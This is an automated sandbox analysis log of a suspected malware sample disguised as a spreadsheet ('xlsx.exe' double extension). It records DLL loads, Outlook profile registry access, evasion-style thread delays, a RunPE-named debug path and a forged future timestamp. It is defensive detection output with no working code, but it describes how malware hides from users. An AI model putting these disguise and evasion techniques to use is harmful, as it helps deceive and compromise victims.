Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Automated click: Continue

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: DC74433Y7889021.xlsx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DC74433Y7889021.xlsx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688208679.0000000005620000.00000004.08000000.00040000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4136425444.0000000005C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4136425444.0000000005C99000.00000004.00000020.00020000.00000000.sdmp

Source: DC74433Y7889021.xlsx.exe

Static PE information: 0xA8818C66 [Sat Aug 2 15:06:14 2059 UTC]

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 0_2_072375F3 push eax; retf	0_2_072375F9
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 0_2_07230006 push ss; retf	0_2_0723001D
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 0_2_0723CA9D push FFFFFF8Bh; iretd	0_2_0723CA9F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B891E pushad ; iretd	1_2_023B891F
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B8C2F pushfd ; iretd	1_2_023B8C30
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_023B8DDF push esp; iretd	1_2_023B8DE0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_060E9241 push es; ret	1_2_060E9244
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_08F87860 push es; ret	1_2_08F87870
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 1_2_090D12B1 push es; ret	1_2_090D12D0

Source: DC74433Y7889021.xlsx.exe

Static PE information: section name: .text entropy: 7.549042885897216

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: xlsx.exe

Static PE information: DC74433Y7889021.xlsx.exe

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 2B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 2260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 2430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Memory allocated: 4430000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599737	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599609	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599499	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599390	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599171	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599062	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598624	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597964	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597404	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597294	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596713	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595062	Jump to behavior
